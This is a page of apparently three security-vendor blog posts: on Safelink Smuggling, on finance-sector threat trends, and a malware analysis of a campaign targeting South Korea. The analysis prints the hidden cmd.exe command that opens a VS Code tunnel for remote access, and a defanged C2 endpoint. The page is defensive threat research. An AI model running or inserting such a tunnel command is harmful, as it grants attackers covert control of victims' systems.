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August 2, 2024

Safelink Smuggling: Enhancing Resilience Against Malicious Links

Gain insights into safelink smuggling tactics and learn strategies to protect your organization from the dangers posed by malicious links.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
Written by
Stephen Pickman
Senior Vice President, Engineering
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02
Aug 2024

Darktrace security members and researchers have recently seen a rise in what we are calling Safelink Smuggling. Safelinks are URLs rewritten by security solutions to enable additional analysis when the URL is clicked. Once analyzed, they may prompt a user, redirect the browser back to the original URL, or block further access if deemed necessary.

What is Safelink Smuggling?

Safelink Smuggling is a technique that involves an attacker purposely getting their malicious payload rewritten by a security solution’s Safelink capability to then propagate the rewritten URL to others. This technique is a way for attackers to not only avoid detection by traditional email security and other solutions, but also to instill mistrust in all email security solutions. As a result, Safelinks from a range of popular email security providers are often seen in phishing or supply chain attacks. In fact, Darktrace has observed over 300,000 cases of Safelinks being included in unexpected and suspicious contexts over the last 3 months.

How does Safelink Smuggling work?

Safelink Smuggling has two key stages: Getting a malicious link rewritten by an email security solution, then propagating that rewritten link to other victims.

Step one:

Obfuscated a malicious payload through a Safelink capability rewriting the link; Darktrace has seen this attempted through two methods – Compromised Account or Reply-Chain.

  • Method 1: Compromised Account

If an attacker can gain access to a compromised account – whether that’s through brute force, malware or credential theft – they can infiltrate it with malicious links, and then exfiltrate the Safelinks created as the email passes through security filtering. In other words, attackers will send a malicious payload to the compromised inbox, with the intent that the malicious URL gets rewritten. Unlike a normal phishing email where the threat actor wants to avoid having their email blocked, in this case the objective is for the email to get through to the inbox with the link rewritten. As observed by Darktrace, attackers often send the link in isolation as any additional components (i.e., body text or other content in the email) could cause a more severe action such as the email security solution holding the message.

  • Method 2: Reply-Chain

With this method, the attacker sends a malicious link to an email security vendor’s customer in an attempt to solicit a reply from an internal user. This allows them to grab the re-written URL within the reply chain. However, this is a risky tactic which can fail at several points. The attacker has to be confident the initial email won't be blocked outright; they also risk alerting security vendors to the address and the URL intended to be used for the main campaign. They also must be confident that the checks made when the re-written URL is clicked will not lead to a block at the final destination.
Regardless of the method used, the end result will appear as follows:

For example, the original malicious URL may look like this,

faceldu[.]org/Invoice112.zip

(negative surface indicators: recently registered domain, file extension)

And after being rewritten,

securityvevndor[.]com/safe?q=aNDF80dfaAkAH930adbd

(positive surface indicators: established domain, positive reputation, associated with safe content)

Step Two:

Now that the attacker has access to a malicious URL that has been obfuscated by a safe rewrite, attackers can forward or craft an email leveraging that same link. In fact, we have even seen multiple layers of Safelink Smuggling being used to mask a payload further.

The Challenge of Link Rewriting

Traditional email security solutions rewrite all links sent to an organization, but there is an inherent risk to this methodology. Rewriting every link, whether harmless or harmful, leads employees to lose context and creates a false sense of security when interacting with rewritten links in emails. Furthermore, it provides attackers with many opportunities to exploit Safelinks. As demonstrated in Method 2 above, if an email security solution does not rewrite every link, executing such attacks would be significantly more challenging.

Traditionally, rewriting every link made sense from a security perspective, as it allowed servers to thoroughly analyze links for known attack patterns and signatures. However, this approach relies on identifying previously recognized threats. Conversely, Darktrace / EMAIL gathers sufficient information about a link without needing to rewrite it, by analyzing the context and content of the email and the link itself.

In fact, Darktrace is the pioneer in applying selective rewriting to URLs based on suspicious properties or context, a method that other solutions have since adopted. While traditional solutions rewrite links to assess them only after they are clicked, Darktrace / EMAIL takes immediate action to neutralize threats before they reach the inbox.

Darktrace achieves high success rates in detecting malicious links and emails on the first encounter using Self-Learning AI. By understanding 'normal' behavior in email communications, Darktrace identifies subtle deviations indicative of cyber threats and selectively rewrites only those links deemed suspicious, ensuring a targeted, proportionate, and non-disruptive response.

Why do traditional email security solutions miss Safelink attacks?

Traditional security solutions that focus on learning attack patterns will miss Safelink threats as they are often utilized in attacks that have a variety of layers which help the email seem legitimate. Leveraging all the classic techniques seen in a supply chain attack to disguise the sender's intent, taking advantage of the users' inherent trust in familiar sources, the user is more likely to lower their defenses.

For more information: https://darktrace.com/products/email/use-cases/supply-chain-attack

In terms of the URL, if the payload is malicious, why is it difficult for email security solutions to catch it? Primarily, other security vendors will focus on the payload in isolation, attempting to find known attack patterns or signatures such as a domain name or IP with a bad reputation. Unfortunately, with this technique, if the URL has a legitimate domain, it will return a clean track record. Common obfuscation techniques such as captchas, short-links, and click throughs can all be deployed to add layers of complexity to the analysis.

Safelink Smuggling relies heavily on link redirects, which means that web analysis tools will falter as they will only analyze the first redirect. Consequently, when more in-depth analysis on the link itself is performed, the first place the URL takes the user is not the malicious site but rather the default on-click analysis of the vendor in question. Therefore, any traditional browser or link analysis will also return a negative result.

Finally, the context itself is important. In contrast to traditional email security solutions, Darktrace / EMAIL asks who, what, when, where, and why for every single email, and compares it to the pattern of life of both the internal recipient and the external sender, rather than attempting to match patterns with historical threat data. When analyzing an email from an inbound perspective, Darktrace reveals potential deviations from normal, that, when considered sufficiently anomalous, will result in taking a proportional action to the threat assessed.

To illustrate the above, let’s take a look at an example email that Darktrace recently caught.

The following is an email a Darktrace customer received, which Darktrace / EMAIL held before it reached the inbox. In this case, the smuggled Safelink was further obfuscated behind a QR Code. The accompanying document also presented some anomalies in terms of its intent, perceived as a potential social engineering attempt. Finally, the lack of association and low mailing history meant there was no prior context for this email.  

Example of a Safelink Smuggling attack using a popular email security solution’s safelink.
Fig 1: Example of a Safelink Smuggling attack using a popular email security solution’s safelink.

How to mitigate against Safelink Smuggling?

It's difficult for email security vendors to do anything about their links being reused, and reuse should almost be expected by popular operators in the email security space. Therefore, the presence of links from a vendor’s domain in a suspicious email communication rarely indicates a compromise of the link rewrite infrastructure or a compromise of the third-party vendor.

Email security vendors can improve their defense-in-depth, especially around their email provider accounts to avoid Method 1 (Compromised Account attacks) and become more selective with their rewrites to curtail Method 2 (Reply Chain attacks).

Primary protection against Safelink Smuggling should be offered by the email security vendor responsible for inbound email analysis. They need to ensure that techniques such as Safelink Smuggling are not evaded by their detection mechanisms.

Darktrace has long been working on the betterment of security within the email community and innovating our link analysis infrastructure to mitigate against this attack methodology (read more about our major update in 6.2 here), regardless of whether the receiving organization are Darktrace customers.

How does Darktrace deal with Safelink Smuggling today?

Darktrace has been dealing with Safelink Smuggling since launch and has a standardized recommendation for customers who are looking to defend against this threat.

Customers want to avoid being 1) the propagators of this threat and potentially damaging their brand reputation, and 2) being victims of the supply chain attack thereafter.

The principal recommendation to protect customer accounts and consequently their brands is to ensure defense-in-depth. As accounts establish themselves as the crown jewels of any modern enterprise, organizations should vigilantly monitor their account activity with the same rigor they would analyze their network activity. Whether that is through the base account takeover protection offered by Darktrace / EMAIL, or the expanded defense offered by Darktrace / IDENTITY, it is crucial that the accounts themselves have a robust security solution in place.

Secondly, to avoid falling victim to the supply chain attack that leverages a third-party vendor’s link rewrite, it is imperative to use a solution that does not rely on static threat intelligence and link reputation analysis. Rather than chasing attackers by updating rules and signatures, Darktrace leverages Self-Learning AI to learn the communication patterns of both internal and external messages to reveal deviations in both content and context.

Finally, for those customers that already leverage Darktrace / EMAIL we recommend ensuring that lock links are enabled, and that the default warning page is displayed every time a link is rewritten, no matter the perceived severity of the link. This will allow any potential user that clicks on a rewritten Darktrace / EMAIL link to be alerted to the potential nature of the site they are trying to access.

Safelink smuggling example caught by Darktrace

While most cases involve other vendors, analysts recently saw a case where Darktrace's own links were used in this type of attack. A small number of links were leveraged in a campaign targeting both Darktrace and non-Darktrace customers alike. Thankfully, these attempts were all appropriately actioned by those customers that had Darktrace / EMAIL deployed.

In the example below, you will see how Darktrace Cyber AI Analyst describes the example at hand under the Anomaly Indicators section.

Example of Safelink Smuggling attack on Darktrace using the Darktrace Safelink Infrastructure.
Fig 2: Example of Safelink Smuggling attack on Darktrace using the Darktrace Safelink Infrastructure.

First, the display name mismatch can be interpreted as an indicator of social engineering, attempting to deceive the recipient with an IT policy change.

Second, the link itself, which in this case is a hidden redirect to an unusual host for this environment.

Finally, there is a suspected account takeover due to the origin of the email being a long-standing, validated domain that contains a wide variety of suspicious elements.

Darktrace / EMAIL would have held this email from being delivered.

Conclusion

By investigating Safelink Smuggling, Darktrace wants to shine a light on the technique for security teams and help raise awareness of how it can be used to dupe users into lowering their defenses. Challenge your email security vendor on how it deals with link analysis, particularly from trusted senders and applications.

Interested in Darktrace’s approach to defense-in-depth? Check out Darktrace / EMAIL

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Carlos Gray
Senior Product Marketing Manager, Email
Written by
Stephen Pickman
Senior Vice President, Engineering

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January 28, 2026

The State of Cybersecurity in the Finance Sector: Six Trends to Watch

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The evolving cybersecurity threat landscape in finance

The financial sector, encompassing commercial banks, credit unions, financial services providers, and cryptocurrency platforms, faces an increasingly complex and aggressive cyber threat landscape. The financial sector’s reliance on digital infrastructure and its role in managing high-value transactions make it a prime target for both financially motivated and state-sponsored threat actors.

Darktrace’s latest threat research, The State of Cybersecurity in the Finance Sector, draws on a combination of Darktrace telemetry data from real-world customer environments, open-source intelligence, and direct interviews with financial-sector CISOs to provide perspective on how attacks are unfolding and how defenders in the sector need to adapt.  

Six cybersecurity trends in the finance sector for 2026

1. Credential-driven attacks are surging

Phishing continues to be a leading initial access vector for attacks targeting confidentiality. Financial institutions are frequently targeted with phishing emails designed to harvest login credentials. Techniques including Adversary-in-The-Middle (AiTM) to bypass Multi-factor Authentication (MFA) and QR code phishing (“quishing”) are surging and are capable of fooling even trained users. In the first half of 2025, Darktrace observed 2.4 million phishing emails within financial sector customer deployments, with almost 30% targeted towards VIP users.  

2. Data Loss Prevention is an increasing challenge

Compliance issues – particularly data loss prevention -- remain a persistent risk. In October 2025 alone, Darktrace observed over 214,000 emails across financial sector customers that contained unfamiliar attachments and were sent to suspected personal email addresses highlighting clear concerns around data loss prevention. Across the same set of customers within the same time frame, more than 351,000 emails containing unfamiliar attachments were sent to freemail addresses (e.g. gmail, yahoo, icloud), highlighting clear concerns around DLP.  

Confidentiality remains a primary concern for financial institutions as attackers increasingly target sensitive customer data, financial records, and internal communications.  

3. Ransomware is evolving toward data theft and extortion

Ransomware is no longer just about locking systems, it’s about stealing data first and encrypting second. Groups such as Cl0p and RansomHub now prioritize exploiting trusted file-transfer platforms to exfiltrate sensitive data before encryption, maximizing regulatory and reputational fallout for victims.  

Darktrace’s threat research identified routine scanning and malicious activity targeting internet-facing file-transfer systems used heavily by financial institutions. In one notable case involving Fortra GoAnywhere MFT, Darktrace detected malicious exploitation behavior six days before the CVE was publicly disclosed, demonstrating how attackers often operate ahead of patch cycles

This evolution underscores a critical reality: by the time a vulnerability is disclosed publicly, it may already be actively exploited.

4. Attackers are exploiting edge devices, often pre-disclosure.  

VPNs, firewalls, and remote access gateways have become high-value targets, and attackers are increasingly exploiting them before vulnerabilities are publicly disclosed. Darktrace observed pre-CVE exploitation activity affecting edge technologies including Citrix, Palo Alto, and Ivanti, enabling session hijacking, credential harvesting, and privileged lateral movement into core banking systems.  

Once compromised, these edge devices allow adversaries to blend into trusted network traffic, bypassing traditional perimeter defenses. CISOs interviewed for the report repeatedly described VPN infrastructure as a “concentrated focal point” for attackers, especially when patching and segmentation lag behind operational demands.

5. DPRK-linked activity is growing across crypto and fintech.  

State-sponsored activity, particularly from DPRK-linked groups affiliated with Lazarus, continues to intensify across cryptocurrency and fintech organizations. Darktrace identified coordinated campaigns leveraging malicious npm packages, previously undocumented BeaverTail and InvisibleFerret malware, and exploitation of React2Shell (CVE-2025-55182) for credential theft and persistent backdoor access.  

Targeting was observed across the United Kingdom, Spain, Portugal, Sweden, Chile, Nigeria, Kenya, and Qatar, highlighting the global scope of these operations.  

7. Cloud complexity and AI governance gaps are now systemic risks.  

Finally, CISOs consistently pointed to cloud complexity, insider risk from new hires, and ungoverned AI usage exposing sensitive data as systemic challenges. Leaders emphasized difficulty maintaining visibility across multi-cloud environments while managing sensitive data exposure through emerging AI tools.  

Rapid AI adoption without clear guardrails has introduced new confidentiality and compliance risks, turning governance into a board-level concern rather than a purely technical one.

Building cyber resilience in a shifting threat landscape

The financial sector remains a prime target for both financially motivated and state-sponsored adversaries. What this research makes clear is that yesterday’s security assumptions no longer hold. Identity attacks, pre-disclosure exploitation, and data-first ransomware require adaptive, behavior-based defenses that can detect threats as they emerge, often ahead of public disclosure.

As financial institutions continue to digitize, resilience will depend on visibility across identity, edge, cloud, and data, combined with AI-driven defense that learns at machine speed.  

Learn more about the threats facing the finance sector, and what your organization can do to keep up in The State of Cybersecurity in the Finance Sector report here.  

Acknowledgements:

The State of Cybersecurity in the Finance sector report was authored by Calum Hall, Hugh Turnbull, Parvatha Ananthakannan, Tiana Kelly, and Vivek Rajan, with contributions from Emma Foulger, Nicole Wong, Ryan Traill, Tara Gould, and the Darktrace Threat Research and Incident Management teams.

[related-resource]  

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Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 27, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

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Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

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